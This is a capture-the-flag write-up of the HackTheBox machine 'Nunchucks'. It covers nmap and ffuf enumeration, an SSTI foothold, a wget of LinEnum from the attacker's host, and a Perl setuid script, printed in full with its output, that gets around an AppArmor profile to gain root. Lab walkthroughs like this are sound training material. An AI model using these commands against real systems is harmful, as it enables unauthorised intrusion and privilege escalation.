Nunchucks is an easy machine on HackTheBox which uses an SSTI exploit to gain access.
[RECON]
$ nmap -sC -sV 10.10.11.122
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 08:28 BST
Nmap scan report for nunchucks.htb (10.10.11.122)
Host is up (0.021s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c146dbb7459c3782e48f511d85b4721 (RSA)
| 256 a2f42c427465a37c26dd497223827271 (ECDSA)
|_ 256 e18d44e7216d7c132fea3b8358aa02b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
| tls-nextprotoneg:
|_ http/1.1
|_http-title: Nunchucks - Landing Page
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.71 seconds
From this basic Nmap scan, we can see that there is a webserver running which redirects us to nunchucks.htb so I quickly added this to the /etc/hosts file and went to check out the website. From briefly looking around the website, nothing obvious pointed out to me so I tried to use Gobuster to brute force the directories on the website, however for some reason I could not get this to work. So instead of using Gobuster, I decided to use ffuf. This is a great tool used that makes enumerating directories easy.
$ ffuf -u https://10.10.11.122 -H 'HOST: FUZZ.nunchucks.htb' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 30589
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : https://10.10.11.122
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.nunchucks.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 30589
________________________________________________
[Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 32ms]
* FUZZ: store
[Status: 200, Size: 4029, Words: 1053, Lines: 102, Duration: 37ms]
* FUZZ: Store
:: Progress: [220560/220560] :: Job [1/1] :: 367 req/sec :: Duration: [0:06:42] :: Errors: 0 ::
After running it ffuf without using filters, there were way too many results. So I used ‘-fs 30589’ to filter out all results which contained that size and found the domain store.nunchucks.htb. So I again added this to my /etc/hosts file and went to have a look.
[USER ACCESS]
This is the store website found at store.nunchucks.htb.
The first thing I did when looking at this webpage was boot up Burp Suite and try various inputs in the email field. After a lot of testing for different potential vulnerabilities, I found that the web application was vulnerable to SSTI attacks. This is commonly testing by inputting and if the output returned is 49, then it is vulnerable.
The issue with SSTI is that there are so many languages and syntaxes to know that it can be hard to narrow down what payload to use. To solve this problem I looked at the X-Powered-By field in the response and noticed that was Express. After a quick Google search on the template engines used by Express, this came up:
Notice the engine named Nunjucks, considering that is the name of the box, I highly doubt that it’s a coincidence. So I googled ‘Nunjucks SSTI’ and the very first result was a post that contained payloads that can be used to break out of the web application and access the operating system:
Entering this code into the email field worked a charm!
With this access we can execute various commands so I decided to check what level of privilege I had by using the ‘id’ command.
As you can see, the response shows that I had access to the user account David. So with that information I generated a reverse shell to get user access and it worked seamlessly.
From there you can find the user.txt flag.
[ROOT ACCESS]
Now that we have a shell, we want to escalate our privilege. The usual ‘Sudo -l’ wasn’t very useful in this situation so the next thing I did was download LinEnum on the target machine. I did this by setting up a simple http server using python with the following command: ‘python -m http.server 80’ and then using ‘wget’ on the target machine: ‘wget -O LinEnum.sh 10.10.14.3/LinEnum.sh’. After that I made the file executable ‘chmod +x’ and run the file. From the results there was only one real thing that jumped out to me:
[+] Files with POSIX capabilities set:
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
With Perl having setuid capabilities, I knew that there would a way to exploit that on GTFO Bins, so that’s were I went.
That last line of code looked interesting so I tried it out but it didn’t seem to really go anywhere. After a lot of research I came across this AppArmor process which is used as a method of access control. On this system, it appears that the AppArmor file is not configured properly:
david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
What this code does is restrict the use of binaries in the command line and that is why code from GTFO Bins doesn’t quite work. After some research, I found a simple work around to this problem. I created a Perl script with the code from GTFO bins and executed it.
david@nunchucks:~$ echo -e '#!/bin/perl \nuse POSIX qw(setuid); \nPOSIX::setuid(0); \nexec "/bin/bash";' > script.pl
david@nunchucks:~$ chmod +x script.pl
david@nunchucks:~$ ./script.pl
root@nunchucks:~# id
uid=0(root) gid=1000(david) groups=1000(david)
It worked perfectly, now with root access you can find the root.txt flag.